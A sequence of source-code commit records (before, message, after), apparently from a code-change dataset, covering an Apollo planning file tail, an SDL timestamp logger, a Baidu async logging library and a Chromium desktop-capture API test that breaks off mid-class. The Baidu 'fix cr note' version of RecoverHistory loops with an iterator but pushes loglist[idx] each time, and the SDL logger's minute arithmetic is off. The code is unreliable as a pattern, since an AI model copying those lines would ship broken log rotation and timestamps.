\/\/ partially out of the current lane.\n *should_not_move_at_all = true;\n return true;\n }\n break;\n } else {\n *last_path_point = path_point;\n }\n\n CHECK_GE(path_point.s(), 0.0);\n ++count;\n }\n return true;\n}\n\n} \/\/ namespace side_pass\n} \/\/ namespace scenario\n} \/\/ namespace planning\n} \/\/ namespace apollo\n<|endoftext|>"} {"text":"<commit_before>#include <string>\n#include <ostream>\n#include <fstream>\n#include <sstream>\n#include <SDL.h>\n#include \"..\/include\/logger.h\"\n\nUtil::Logger::Logger(const std::string &file) \n\t: fileOut(file.c_str()), output(fileOut)\n{\n}\nUtil::Logger::Logger(std::ostream &os) : output(os) {\n}\nvoid Util::Logger::log(const std::string &msg){\n\ttimeStamp();\n\toutput << msg;\n}\nstd::string Util::Logger::timeStamp(){\n\tfloat sec = SDL_GetTicks() \/ 1000.f;\n\tint hrs = sec \/ 3600;\n\tint min = sec \/ 60 - hrs * 3600;\n\tsec = static_cast<int>(sec - hrs * 3600 - min * 60);\n\tstd::stringstream ss;\n\tss << hrs << \":\" << min << \":\" << sec << \"\\n\";\n\treturn ss.str();\n}\nUtil::Logger& Util::Logger::operator<<(std::ostream&(*f)(std::ostream&)){\n\toutput << f;\n\treturn *this;\n}<commit_msg>Removing the endline from the timestamp<commit_after>#include <string>\n#include <ostream>\n#include <fstream>\n#include <sstream>\n#include <SDL.h>\n#include \"..\/include\/logger.h\"\n\nUtil::Logger::Logger(const std::string &file) \n\t: fileOut(file.c_str()), output(fileOut)\n{\n}\nUtil::Logger::Logger(std::ostream &os) : output(os) {\n}\nvoid Util::Logger::log(const std::string &msg){\n\ttimeStamp();\n\toutput << msg;\n}\nstd::string Util::Logger::timeStamp(){\n\tfloat sec = SDL_GetTicks() \/ 1000.f;\n\tint hrs = sec \/ 3600;\n\tint min = sec \/ 60 - hrs * 3600;\n\tsec = static_cast<int>(sec - hrs * 3600 - min * 60);\n\tstd::stringstream ss;\n\tss << hrs << \":\" << min << \":\" << sec;\n\treturn ss.str();\n}\nUtil::Logger& Util::Logger::operator<<(std::ostream&(*f)(std::ostream&)){\n\toutput << f;\n\treturn *this;\n}<|endoftext|>"} {"text":"<commit_before>\/\/ Copyright (c) 2014, Baidu.com, Inc. All Rights Reserved\n\/\/ Use of this source code is governed by a BSD-style license that can be\n\/\/ found in the LICENSE file.\n\/\/\n\/\/ Author: yanshiguang02@baidu.com\n\n#include \"logging.h\"\n\n#include <assert.h>\n#include <boost\/bind.hpp>\n#include <queue>\n#include <stdarg.h>\n#include <stdint.h>\n#include <stdio.h>\n#include <stdlib.h>\n#include <string>\n#include <syscall.h>\n#include <sys\/time.h>\n#include <unistd.h>\n#include <sys\/types.h>\n#include <sys\/stat.h>\n#include <dirent.h>\n\n#include \"mutex.h\"\n#include \"thread.h\"\n#include \"timer.h\"\n\nnamespace baidu {\nnamespace common {\n\nint g_log_level = INFO;\nint64_t g_log_size = 0;\nint32_t g_log_count = 0;\nFILE* g_log_file = stdout;\nstd::string g_log_file_name;\nFILE* g_warning_file = NULL;\nstd::queue<std::string> g_log_queue;\n\nbool GetNewLog(bool append) {\n char buf[30];\n struct timeval tv;\n gettimeofday(&tv, NULL);\n const time_t seconds = tv.tv_sec;\n struct tm t;\n localtime_r(&seconds, &t);\n snprintf(buf, 30,\n \"%02d-%02d.%02d:%02d:%02d.%06d\",\n t.tm_mon + 1,\n t.tm_mday,\n t.tm_hour,\n t.tm_min,\n t.tm_sec,\n static_cast<int>(tv.tv_usec));\n std::string full_path(g_log_file_name + \".\");\n full_path.append(buf);\n size_t idx = full_path.rfind('\/');\n if (idx == std::string::npos) {\n idx = 0;\n } else {\n idx += 1;\n }\n const char* mode = append ? \"ab\" : \"wb\";\n FILE* fp = fopen(full_path.c_str(), mode);\n if (fp == NULL) {\n return false;\n }\n if (g_log_file != stdout) {\n fclose(g_log_file);\n }\n g_log_file = fp;\n remove(g_log_file_name.c_str());\n symlink(full_path.substr(idx).c_str(), g_log_file_name.c_str());\n if (0 == g_log_count) {\n return true;\n }\n g_log_queue.push(full_path);\n while (static_cast<int64_t>(g_log_queue.size()) > g_log_count) {\n std::string to_del = g_log_queue.front();\n remove(to_del.c_str());\n g_log_queue.pop();\n }\n return true;\n}\n\nvoid SetLogLevel(int level) {\n g_log_level = level;\n}\n\nclass AsyncLogger {\npublic:\n AsyncLogger()\n : jobs_(&mu_), done_(&mu_), stopped_(false), size_(0) {\n thread_.Start(boost::bind(&AsyncLogger::AsyncWriter, this));\n }\n ~AsyncLogger() {\n stopped_ = true;\n {\n MutexLock lock(&mu_);\n jobs_.Signal();\n }\n thread_.Join();\n \/\/ close fd\n }\n void WriteLog(int log_level, const char* buffer, int32_t len) {\n std::string* log_str = new std::string(buffer, len);\n MutexLock lock(&mu_);\n buffer_queue_.push(make_pair(log_level, log_str));\n jobs_.Signal();\n }\n void AsyncWriter() {\n MutexLock lock(&mu_);\n while (1) {\n int loglen = 0;\n int wflen = 0;\n while (!buffer_queue_.empty()) {\n int log_level = buffer_queue_.front().first;\n std::string* str = buffer_queue_.front().second;\n buffer_queue_.pop();\n if (g_log_file != stdout && g_log_size &&\n static_cast<int64_t>(size_ + str->length()) > g_log_size) {\n GetNewLog(false);\n size_ = 0;\n }\n mu_.Unlock();\n if (str && !str->empty()) {\n fwrite(str->data(), 1, str->size(), g_log_file);\n loglen += str->size();\n if (g_warning_file && log_level >= 8) {\n fwrite(str->data(), 1, str->size(), g_warning_file);\n wflen += str->size();\n }\n if (g_log_size) size_ += str->length();\n }\n delete str;\n mu_.Lock();\n }\n if (loglen) fflush(g_log_file);\n if (wflen) fflush(g_warning_file);\n if (stopped_) {\n break;\n }\n done_.Broadcast();\n jobs_.Wait();\n }\n }\n void Flush() {\n MutexLock lock(&mu_);\n buffer_queue_.push(std::make_pair(0, reinterpret_cast<std::string*>(NULL)));\n jobs_.Signal();\n done_.Wait();\n }\nprivate:\n Mutex mu_;\n CondVar jobs_;\n CondVar done_;\n bool stopped_;\n int64_t size_;\n Thread thread_;\n std::queue<std::pair<int, std::string*> > buffer_queue_;\n};\n\nAsyncLogger g_logger;\n\nbool SetWarningFile(const char* path, bool append) {\n const char* mode = append ? \"ab\" : \"wb\";\n FILE* fp = fopen(path, mode);\n if (fp == NULL) {\n return false;\n }\n if (g_warning_file) {\n fclose(g_warning_file);\n }\n g_warning_file = fp;\n return true;\n}\n\nbool RecoverHistory(const char* path) {\n std::string log_path(path);\n size_t idx = log_path.rfind('\/');\n std::string dir = \".\/\";\n std::string log(path);\n if (idx != std::string::npos) {\n dir = log_path.substr(0, idx + 1);\n log = log_path.substr(idx + 1);\n }\n struct dirent *entry = NULL;\n DIR *dir_ptr = opendir(dir.c_str());\n if (dir_ptr == NULL) {\n return false;\n }\n std::vector<std::string> loglist;\n while (entry = readdir(dir_ptr)) {\n if (std::string(entry->d_name).find(log) != std::string::npos) {\n std::string file_name = dir + std::string(entry->d_name);\n struct stat sta;\n if (-1 == lstat(file_name.c_str(), &sta)) {\n return false;\n }\n if (S_ISREG(sta.st_mode)) {\n loglist.push_back(dir + std::string(entry->d_name));\n }\n }\n }\n closedir(dir_ptr);\n std::sort(loglist.begin(), loglist.end());\n for (size_t idx = g_log_count < static_cast<int32_t>(loglist.size()) ? loglist.size() - g_log_count : 0;\n idx < loglist.size(); ++idx) {\n g_log_queue.push(loglist[idx]);\n }\n return true;\n}\n\nbool SetLogFile(const char* path, bool append) {\n g_log_file_name.assign(path);\n return GetNewLog(append);\n}\n\nbool SetLogSize(int size) {\n if (size < 0) {\n return false;\n }\n g_log_size = static_cast<int64_t>(size) << 20;\n return true;\n}\n\nbool SetLogCount(int count) {\n if (count < 0) {\n return false;\n }\n g_log_count = count;\n if (!RecoverHistory(g_log_file_name.c_str())) {\n return false;\n }\n return true;\n}\n\nvoid Logv(int log_level, const char* format, va_list ap) {\n static __thread uint64_t thread_id = 0;\n if (thread_id == 0) {\n thread_id = syscall(__NR_gettid);\n }\n\n \/\/ We try twice: the first time with a fixed-size stack allocated buffer,\n \/\/ and the second time with a much larger dynamically allocated buffer.\n char buffer[500];\n for (int iter = 0; iter < 2; iter++) {\n char* base;\n int bufsize;\n if (iter == 0) {\n bufsize = sizeof(buffer);\n base = buffer;\n } else {\n bufsize = 30000;\n base = new char[bufsize];\n }\n char* p = base;\n char* limit = base + bufsize;\n\n int32_t rlen = timer::now_time_str(p, limit - p);\n p += rlen;\n p += snprintf(p, limit - p, \" %lld \", static_cast<long long unsigned int>(thread_id));\n\n \/\/ Print the message\n if (p < limit) {\n va_list backup_ap;\n va_copy(backup_ap, ap);\n p += vsnprintf(p, limit - p, format, backup_ap);\n va_end(backup_ap);\n }\n\n \/\/ Truncate to available space if necessary\n if (p >= limit) {\n if (iter == 0) {\n continue; \/\/ Try again with larger buffer\n } else {\n p = limit - 1;\n }\n }\n\n \/\/ Add newline if necessary\n if (p == base || p[-1] != '\\n') {\n *p++ = '\\n';\n }\n\n assert(p <= limit);\n \/\/fwrite(base, 1, p - base, g_log_file);\n \/\/fflush(g_log_file);\n \/\/if (g_warning_file && log_level >= 8) {\n \/\/ fwrite(base, 1, p - base, g_warning_file);\n \/\/ fflush(g_warning_file);\n \/\/}\n g_logger.WriteLog(log_level, base, p - base);\n if (log_level == FATAL) {\n g_logger.Flush();\n }\n if (base != buffer) {\n delete[] base;\n }\n break;\n }\n}\n\nvoid Log(int level, const char* fmt, ...) {\n va_list ap;\n va_start(ap, fmt);\n\n if (level >= g_log_level) {\n Logv(level, fmt, ap);\n }\n va_end(ap);\n if (level == FATAL) {\n abort();\n }\n}\n\nLogStream::LogStream(int level) : level_(level) {}\n\nLogStream::~LogStream() {\n Log(level_, \"%s\", oss_.str().c_str());\n}\n\n} \/\/ namespace common\n} \/\/ namespace baidu\n\n\/* vim: set expandtab ts=4 sw=4 sts=4 tw=100: *\/\n<commit_msg>fix cr note<commit_after>\/\/ Copyright (c) 2014, Baidu.com, Inc. All Rights Reserved\n\/\/ Use of this source code is governed by a BSD-style license that can be\n\/\/ found in the LICENSE file.\n\/\/\n\/\/ Author: yanshiguang02@baidu.com\n\n#include \"logging.h\"\n\n#include <assert.h>\n#include <boost\/bind.hpp>\n#include <queue>\n#include <stdarg.h>\n#include <stdint.h>\n#include <stdio.h>\n#include <stdlib.h>\n#include <string>\n#include <syscall.h>\n#include <sys\/time.h>\n#include <unistd.h>\n#include <sys\/types.h>\n#include <sys\/stat.h>\n#include <dirent.h>\n\n#include \"mutex.h\"\n#include \"thread.h\"\n#include \"timer.h\"\n\nnamespace baidu {\nnamespace common {\n\nint g_log_level = INFO;\nint64_t g_log_size = 0;\nint32_t g_log_count = 0;\nFILE* g_log_file = stdout;\nstd::string g_log_file_name;\nFILE* g_warning_file = NULL;\nstd::queue<std::string> g_log_queue;\n\nbool GetNewLog(bool append) {\n char buf[30];\n struct timeval tv;\n gettimeofday(&tv, NULL);\n const time_t seconds = tv.tv_sec;\n struct tm t;\n localtime_r(&seconds, &t);\n snprintf(buf, 30,\n \"%02d-%02d.%02d:%02d:%02d.%06d\",\n t.tm_mon + 1,\n t.tm_mday,\n t.tm_hour,\n t.tm_min,\n t.tm_sec,\n static_cast<int>(tv.tv_usec));\n std::string full_path(g_log_file_name + \".\");\n full_path.append(buf);\n size_t idx = full_path.rfind('\/');\n if (idx == std::string::npos) {\n idx = 0;\n } else {\n idx += 1;\n }\n const char* mode = append ? \"ab\" : \"wb\";\n FILE* fp = fopen(full_path.c_str(), mode);\n if (fp == NULL) {\n return false;\n }\n if (g_log_file != stdout) {\n fclose(g_log_file);\n }\n g_log_file = fp;\n remove(g_log_file_name.c_str());\n symlink(full_path.substr(idx).c_str(), g_log_file_name.c_str());\n if (0 == g_log_count) {\n return true;\n }\n g_log_queue.push(full_path);\n while (static_cast<int64_t>(g_log_queue.size()) > g_log_count) {\n std::string to_del = g_log_queue.front();\n remove(to_del.c_str());\n g_log_queue.pop();\n }\n return true;\n}\n\nvoid SetLogLevel(int level) {\n g_log_level = level;\n}\n\nclass AsyncLogger {\npublic:\n AsyncLogger()\n : jobs_(&mu_), done_(&mu_), stopped_(false), size_(0) {\n thread_.Start(boost::bind(&AsyncLogger::AsyncWriter, this));\n }\n ~AsyncLogger() {\n stopped_ = true;\n {\n MutexLock lock(&mu_);\n jobs_.Signal();\n }\n thread_.Join();\n \/\/ close fd\n }\n void WriteLog(int log_level, const char* buffer, int32_t len) {\n std::string* log_str = new std::string(buffer, len);\n MutexLock lock(&mu_);\n buffer_queue_.push(make_pair(log_level, log_str));\n jobs_.Signal();\n }\n void AsyncWriter() {\n MutexLock lock(&mu_);\n while (1) {\n int loglen = 0;\n int wflen = 0;\n while (!buffer_queue_.empty()) {\n int log_level = buffer_queue_.front().first;\n std::string* str = buffer_queue_.front().second;\n buffer_queue_.pop();\n if (g_log_file != stdout && g_log_size &&\n static_cast<int64_t>(size_ + str->length()) > g_log_size) {\n GetNewLog(false);\n size_ = 0;\n }\n mu_.Unlock();\n if (str && !str->empty()) {\n fwrite(str->data(), 1, str->size(), g_log_file);\n loglen += str->size();\n if (g_warning_file && log_level >= 8) {\n fwrite(str->data(), 1, str->size(), g_warning_file);\n wflen += str->size();\n }\n if (g_log_size) size_ += str->length();\n }\n delete str;\n mu_.Lock();\n }\n if (loglen) fflush(g_log_file);\n if (wflen) fflush(g_warning_file);\n if (stopped_) {\n break;\n }\n done_.Broadcast();\n jobs_.Wait();\n }\n }\n void Flush() {\n MutexLock lock(&mu_);\n buffer_queue_.push(std::make_pair(0, reinterpret_cast<std::string*>(NULL)));\n jobs_.Signal();\n done_.Wait();\n }\nprivate:\n Mutex mu_;\n CondVar jobs_;\n CondVar done_;\n bool stopped_;\n int64_t size_;\n Thread thread_;\n std::queue<std::pair<int, std::string*> > buffer_queue_;\n};\n\nAsyncLogger g_logger;\n\nbool SetWarningFile(const char* path, bool append) {\n const char* mode = append ? \"ab\" : \"wb\";\n FILE* fp = fopen(path, mode);\n if (fp == NULL) {\n return false;\n }\n if (g_warning_file) {\n fclose(g_warning_file);\n }\n g_warning_file = fp;\n return true;\n}\n\nbool RecoverHistory(const char* path) {\n std::string log_path(path);\n size_t idx = log_path.rfind('\/');\n std::string dir = \".\/\";\n std::string log(path);\n if (idx != std::string::npos) {\n dir = log_path.substr(0, idx + 1);\n log = log_path.substr(idx + 1);\n }\n struct dirent *entry = NULL;\n DIR *dir_ptr = opendir(dir.c_str());\n if (dir_ptr == NULL) {\n return false;\n }\n std::vector<std::string> loglist;\n while (entry = readdir(dir_ptr)) {\n if (std::string(entry->d_name).find(log) != std::string::npos) {\n std::string file_name = dir + std::string(entry->d_name);\n struct stat sta;\n if (-1 == lstat(file_name.c_str(), &sta)) {\n return false;\n }\n if (S_ISREG(sta.st_mode)) {\n loglist.push_back(dir + std::string(entry->d_name));\n }\n }\n }\n closedir(dir_ptr);\n std::sort(loglist.begin(), loglist.end());\n for (std::vector<std::string>::iterator it = loglist.begin(); it != loglist.end();\n ++it) {\n g_log_queue.push(loglist[idx]);\n }\n while (static_cast<int64_t>(g_log_queue.size()) > g_log_count) {\n std::string to_del = g_log_queue.front();\n remove(to_del.c_str());\n g_log_queue.pop();\n }\n return true;\n}\n\nbool SetLogFile(const char* path, bool append) {\n g_log_file_name.assign(path);\n return GetNewLog(append);\n}\n\nbool SetLogSize(int size) {\n if (size < 0) {\n return false;\n }\n g_log_size = static_cast<int64_t>(size) << 20;\n return true;\n}\n\nbool SetLogCount(int count) {\n if (count < 0) {\n return false;\n }\n g_log_count = count;\n if (!RecoverHistory(g_log_file_name.c_str())) {\n return false;\n }\n return true;\n}\n\nvoid Logv(int log_level, const char* format, va_list ap) {\n static __thread uint64_t thread_id = 0;\n if (thread_id == 0) {\n thread_id = syscall(__NR_gettid);\n }\n\n \/\/ We try twice: the first time with a fixed-size stack allocated buffer,\n \/\/ and the second time with a much larger dynamically allocated buffer.\n char buffer[500];\n for (int iter = 0; iter < 2; iter++) {\n char* base;\n int bufsize;\n if (iter == 0) {\n bufsize = sizeof(buffer);\n base = buffer;\n } else {\n bufsize = 30000;\n base = new char[bufsize];\n }\n char* p = base;\n char* limit = base + bufsize;\n\n int32_t rlen = timer::now_time_str(p, limit - p);\n p += rlen;\n p += snprintf(p, limit - p, \" %lld \", static_cast<long long unsigned int>(thread_id));\n\n \/\/ Print the message\n if (p < limit) {\n va_list backup_ap;\n va_copy(backup_ap, ap);\n p += vsnprintf(p, limit - p, format, backup_ap);\n va_end(backup_ap);\n }\n\n \/\/ Truncate to available space if necessary\n if (p >= limit) {\n if (iter == 0) {\n continue; \/\/ Try again with larger buffer\n } else {\n p = limit - 1;\n }\n }\n\n \/\/ Add newline if necessary\n if (p == base || p[-1] != '\\n') {\n *p++ = '\\n';\n }\n\n assert(p <= limit);\n \/\/fwrite(base, 1, p - base, g_log_file);\n \/\/fflush(g_log_file);\n \/\/if (g_warning_file && log_level >= 8) {\n \/\/ fwrite(base, 1, p - base, g_warning_file);\n \/\/ fflush(g_warning_file);\n \/\/}\n g_logger.WriteLog(log_level, base, p - base);\n if (log_level == FATAL) {\n g_logger.Flush();\n }\n if (base != buffer) {\n delete[] base;\n }\n break;\n }\n}\n\nvoid Log(int level, const char* fmt, ...) {\n va_list ap;\n va_start(ap, fmt);\n\n if (level >= g_log_level) {\n Logv(level, fmt, ap);\n }\n va_end(ap);\n if (level == FATAL) {\n abort();\n }\n}\n\nLogStream::LogStream(int level) : level_(level) {}\n\nLogStream::~LogStream() {\n Log(level_, \"%s\", oss_.str().c_str());\n}\n\n} \/\/ namespace common\n} \/\/ namespace baidu\n\n\/* vim: set expandtab ts=4 sw=4 sts=4 tw=100: *\/\n<|endoftext|>"} {"text":"<commit_before>\/\/ Copyright 2013 The Chromium Authors. All rights reserved.\n\/\/ Use of this source code is governed by a BSD-style license that can be\n\/\/ found in the LICENSE file.\n\n#include <queue>\n\n#include \"base\/command_line.h\"\n#include \"base\/path_service.h\"\n#include \"base\/thread_task_runner_handle.h\"\n#include \"chrome\/browser\/extensions\/api\/desktop_capture\/desktop_capture_api.h\"\n#include \"chrome\/browser\/extensions\/extension_apitest.h\"\n#include \"chrome\/browser\/media\/fake_desktop_media_list.h\"\n#include \"chrome\/browser\/ui\/tabs\/tab_strip_model.h\"\n#include \"chrome\/common\/chrome_paths.h\"\n#include \"chrome\/common\/chrome_switches.h\"\n#include \"chrome\/test\/base\/ui_test_utils.h\"\n#include \"content\/public\/test\/browser_test_utils.h\"\n#include \"net\/dns\/mock_host_resolver.h\"\n#include \"net\/test\/embedded_test_server\/embedded_test_server.h\"\n\nnamespace extensions {\n\nnamespace {\n\nstruct TestFlags {\n bool expect_screens;\n bool expect_windows;\n content::DesktopMediaID selected_source;\n bool cancelled;\n\n \/\/ Following flags are set by FakeDesktopMediaPicker when it's created and\n \/\/ deleted.\n bool picker_created;\n bool picker_deleted;\n};\n\nclass FakeDesktopMediaPicker : public DesktopMediaPicker {\n public:\n explicit FakeDesktopMediaPicker(TestFlags* expectation)\n : expectation_(expectation),\n weak_factory_(this) {\n expectation_->picker_created = true;\n }\n virtual ~FakeDesktopMediaPicker() {\n expectation_->picker_deleted = true;\n }\n\n \/\/ DesktopMediaPicker interface.\n virtual void Show(gfx::NativeWindow context,\n gfx::NativeWindow parent,\n const base::string16& app_name,\n scoped_ptr<DesktopMediaList> model,\n const DoneCallback& done_callback) OVERRIDE {\n if (!expectation_->cancelled) {\n \/\/ Post a task to call the callback asynchronously.\n base::ThreadTaskRunnerHandle::Get()->PostTask(\n FROM_HERE,\n base::Bind(&FakeDesktopMediaPicker::CallCallback,\n weak_factory_.GetWeakPtr(), done_callback));\n } else {\n \/\/ If we expect the dialog to be cancelled then store the callback to\n \/\/ retain reference to the callback handler.\n done_callback_ = done_callback;\n }\n }\n\n private:\n void CallCallback(DoneCallback done_callback) {\n done_callback.Run(expectation_->selected_source);\n }\n\n TestFlags* expectation_;\n DoneCallback done_callback_;\n\n base::WeakPtrFactory<FakeDesktopMediaPicker> weak_factory_;\n\n DISALLOW_COPY_AND_ASSIGN(FakeDesktopMediaPicker);\n};\n\nclass FakeDesktopMediaPickerFactory :\n public DesktopCaptureChooseDesktopMediaFunction::PickerFactory {\n public:\n FakeDesktopMediaPickerFactory() {}\n virtual ~FakeDesktopMediaPickerFactory() {}\n\n void SetTestFlags(TestFlags* test_flags, int tests_count) {\n test_flags_ = test_flags;\n tests_count_ = tests_count;\n current_test_ = 0;\n }\n\n \/\/ DesktopCaptureChooseDesktopMediaFunction::PickerFactory interface.\n virtual scoped_ptr<DesktopMediaList> CreateModel(\n bool show_screens,\n bool show_windows) OVERRIDE {\n EXPECT_LE(current_test_, tests_count_);\n if (current_test_ >= tests_count_)\n return scoped_ptr<DesktopMediaList>();\n EXPECT_EQ(test_flags_[current_test_].expect_screens, show_screens);\n EXPECT_EQ(test_flags_[current_test_].expect_windows, show_windows);\n return scoped_ptr<DesktopMediaList>(new FakeDesktopMediaList());\n }\n\n virtual scoped_ptr<DesktopMediaPicker> CreatePicker() OVERRIDE {\n EXPECT_LE(current_test_, tests_count_);\n if (current_test_ >= tests_count_)\n return scoped_ptr<DesktopMediaPicker>();\n ++current_test_;\n return scoped_ptr<DesktopMediaPicker>(\n new FakeDesktopMediaPicker(test_flags_ + current_test_ - 1));\n }\n\n private:\n TestFlags* test_flags_;\n int tests_count_;\n int current_test_;\n\n DISALLOW_COPY_AND_ASSIGN(FakeDesktopMediaPickerFactory);\n};\n\nclass DesktopCaptureApiTest : public ExtensionApiTest {\n public:\n DesktopCaptureApiTest() {\n DesktopCaptureChooseDesktopMediaFunction::\n SetPickerFactoryForTests(&picker_factory_);\n }\n virtual ~DesktopCaptureApiTest() {\n DesktopCaptureChooseDesktopMediaFunction::\n SetPickerFactoryForTests(NULL);\n }\n\n protected:\n GURL GetURLForPath(const std::string& host, const std::string& path) {\n std::string port = base::IntToString(embedded_test_server()->port());\n GURL::Replacements replacements;\n replacements.SetHostStr(host);\n replacements.SetPortStr(port);\n return embedded_test_server()->GetURL(path).ReplaceComponents(replacements);\n }\n\n FakeDesktopMediaPickerFactory picker_factory_;\n};\n\n} \/\/ namespace\n\n\/\/ Flaky on Windows: http:\/\/crbug.com\/301887\n#if defined(OS_WIN)\n#define MAYBE_ChooseDesktopMedia DISABLED_ChooseDesktopMedia\n#else\n#define MAYBE_ChooseDesktopMedia ChooseDesktopMedia\n#endif\nIN_PROC_BROWSER_TEST_F(DesktopCaptureApiTest, MAYBE_ChooseDesktopMedia) {\n \/\/ Each element in the following array corresponds to one test in\n \/\/ chrome\/test\/data\/extensions\/api_test\/desktop_capture\/test.js .\n TestFlags test_flags[] = {\n \/\/ pickerUiCanceled()\n { true, true,\n content::DesktopMediaID() },\n \/\/ chooseMedia()\n { true, true,\n content::DesktopMediaID(content::DesktopMediaID::TYPE_SCREEN, 0) },\n \/\/ screensOnly()\n { true, false,\n content::DesktopMediaID() },\n \/\/ WindowsOnly()\n { false, true,\n content::DesktopMediaID() },\n \/\/ chooseMediaAndGetStream()\n { true, true,\n content::DesktopMediaID(content::DesktopMediaID::TYPE_SCREEN, 0) },\n \/\/ chooseMediaAndTryGetStreamWithInvalidId()\n { true, true,\n content::DesktopMediaID(content::DesktopMediaID::TYPE_SCREEN, 0) },\n \/\/ cancelDialog()\n { true, true,\n content::DesktopMediaID(), true },\n };\n picker_factory_.SetTestFlags(test_flags, arraysize(test_flags));\n ASSERT_TRUE(RunExtensionTest(\"desktop_capture\")) << message_;\n}\n\n\/\/ Test is flaky http:\/\/crbug.com\/301887.\nIN_PROC_BROWSER_TEST_F(DesktopCaptureApiTest, DISABLED_Delegation) {\n \/\/ Initialize test server.\n base::FilePath test_data;\n EXPECT_TRUE(PathService::Get(chrome::DIR_TEST_DATA, &test_data));\n embedded_test_server()->ServeFilesFromDirectory(test_data.AppendASCII(\n \"extensions\/api_test\/desktop_capture_delegate\"));\n ASSERT_TRUE(embedded_test_server()->InitializeAndWaitUntilReady());\n host_resolver()->AddRule(\"*\", embedded_test_server()->base_url().host());\n\n \/\/ Load extension.\n base::FilePath extension_path =\n test_data_dir_.AppendASCII(\"desktop_capture_delegate\");\n const Extension* extension = LoadExtensionWithFlags(\n extension_path, ExtensionBrowserTest::kFlagNone);\n ASSERT_TRUE(extension);\n\n ui_test_utils::NavigateToURL(\n browser(), GetURLForPath(\"example.com\", \"\/example.com.html\"));\n\n TestFlags test_flags[] = {\n { true, true,\n content::DesktopMediaID(content::DesktopMediaID::TYPE_SCREEN, 0) },\n { true, true,\n content::DesktopMediaID(content::DesktopMediaID::TYPE_SCREEN, 0) },\n { true, true,\n content::DesktopMediaID(content::DesktopMediaID::TYPE_SCREEN, 0), true },\n };\n picker_factory_.SetTestFlags(test_flags, arraysize(test_flags));\n\n bool result;\n\n content::WebContents* web_contents =\n browser()->tab_strip_model()->GetActiveWebContents();\n\n ASSERT_TRUE(content::ExecuteScriptAndExtractBool(\n web_contents, \"getStream()\", &result));\n EXPECT_TRUE(result);\n\n ASSERT_TRUE(content::ExecuteScriptAndExtractBool(\n web_contents, \"getStreamWithInvalidId()\", &result));\n EXPECT_TRUE(result);\n\n \/\/ Verify that the picker is closed once the tab is closed.\n content::WebContentsDestroyedWatcher destroyed_watcher(web_contents);\n ASSERT_TRUE(content::ExecuteScriptAndExtractBool(\n web_contents, \"openPickerDialogAndReturn()\", &result));\n EXPECT_TRUE(result);\n EXPECT_TRUE(test_flags[2].picker_created);\n EXPECT_FALSE(test_flags[2].picker_deleted);\n\n web_contents->Close();\n destroyed_watcher.Wait();\n EXPECT_TRUE(test_flags[2].picker_deleted);\n}\n\n} \/\/ namespace extensions\n<commit_msg>Update the DesktopCapture Api test to use a proper screen id.<commit_after>\/\/ Copyright 2013 The Chromium Authors. All rights reserved.\n\/\/ Use of this source code is governed by a BSD-style license that can be\n\/\/ found in the LICENSE file.\n\n#include <queue>\n\n#include \"base\/command_line.h\"\n#include \"base\/path_service.h\"\n#include \"base\/thread_task_runner_handle.h\"\n#include \"chrome\/browser\/extensions\/api\/desktop_capture\/desktop_capture_api.h\"\n#include \"chrome\/browser\/extensions\/extension_apitest.h\"\n#include \"chrome\/browser\/media\/fake_desktop_media_list.h\"\n#include \"chrome\/browser\/ui\/tabs\/tab_strip_model.h\"\n#include \"chrome\/common\/chrome_paths.h\"\n#include \"chrome\/common\/chrome_switches.h\"\n#include \"chrome\/test\/base\/ui_test_utils.h\"\n#include \"content\/public\/test\/browser_test_utils.h\"\n#include \"net\/dns\/mock_host_resolver.h\"\n#include \"net\/test\/embedded_test_server\/embedded_test_server.h\"\n#include \"third_party\/webrtc\/modules\/desktop_capture\/desktop_capture_types.h\"\n\nnamespace extensions {\n\nnamespace {\n\nstruct TestFlags {\n bool expect_screens;\n bool expect_windows;\n content::DesktopMediaID selected_source;\n bool cancelled;\n\n \/\/ Following flags are set by FakeDesktopMediaPicker when it's created and\n \/\/ deleted.\n bool picker_created;\n bool picker_deleted;\n};\n\nclass FakeDesktopMediaPicker : public DesktopMediaPicker {\n public:\n explicit FakeDesktopMediaPicker(TestFlags* expectation)\n : expectation_(expectation),\n weak_factory_(this) {\n expectation_->picker_created = true;\n }\n virtual ~FakeDesktopMediaPicker() {\n expectation_->picker_deleted = true;\n }\n\n \/\/ DesktopMediaPicker interface.\n virtual void Show(gfx::NativeWindow context,\n gfx::NativeWindow parent,\n const base::string16& app_name,\n scoped_ptr<DesktopMediaList> model,\n const DoneCallback& done_callback) OVERRIDE {\n if (!expectation_->cancelled) {\n \/\/ Post a task to call the callback asynchronously.\n base::ThreadTaskRunnerHandle::Get()->PostTask(\n FROM_HERE,\n base::Bind(&FakeDesktopMediaPicker::CallCallback,\n weak_factory_.GetWeakPtr(), done_callback));\n } else {\n \/\/ If we expect the dialog to be cancelled then store the callback to\n \/\/ retain reference to the callback handler.\n done_callback_ = done_callback;\n }\n }\n\n private:\n void CallCallback(DoneCallback done_callback) {\n done_callback.Run(expectation_->selected_source);\n }\n\n TestFlags* expectation_;\n DoneCallback done_callback_;\n\n base::WeakPtrFactory<FakeDesktopMediaPicker> weak_factory_;\n\n DISALLOW_COPY_AND_ASSIGN(FakeDesktopMediaPicker);\n};\n\nclass FakeDesktopMediaPickerFactory :\n public DesktopCaptureChooseDesktopMediaFunction::PickerFactory {\n public:\n FakeDesktopMediaPickerFactory() {}\n virtual ~FakeDesktopMediaPickerFactory() {}\n\n void SetTestFlags(TestFlags* test_flags, int tests_count) {\n test_flags_ = test_flags;\n tests_count_ = tests_count;\n current_test_ = 0;\n }\n\n \/\/ DesktopCaptureChooseDesktopMediaFunction::PickerFactory interface.\n virtual scoped_ptr<DesktopMediaList> CreateModel(\n bool show_screens,\n bool show_windows) OVERRIDE {\n EXPECT_LE(current_test_, tests_count_);\n if (current_test_ >= tests_count_)\n return scoped_ptr<DesktopMediaList>();\n EXPECT_EQ(test_flags_[current_test_].expect_screens, show_screens);\n EXPECT_EQ(test_flags_[current_test_].expect_windows, show_windows);\n return scoped_ptr<DesktopMediaList>(new FakeDesktopMediaList());\n }\n\n virtual scoped_ptr<DesktopMediaPicker> CreatePicker() OVERRIDE {\n EXPECT_LE(current_test_, tests_count_);\n if (current_test_ >= tests_count_)\n return scoped_ptr<DesktopMediaPicker>();\n ++current_test_;\n return scoped_ptr<DesktopMediaPicker>(\n new FakeDesktopMediaPicker(test_flags_ + current_test_ - 1));\n }\n\n private:\n TestFlags* test_flags_;\n int tests_count_;\n int current_test_;\n\n DISALLOW_COPY_AND_ASSIGN(FakeDesktopMediaPickerFactory);\n};\n\nclass DesktopCaptureApiTest : public ExtensionApiTest {\n public:\n DesktopCaptureApiTest() {\n 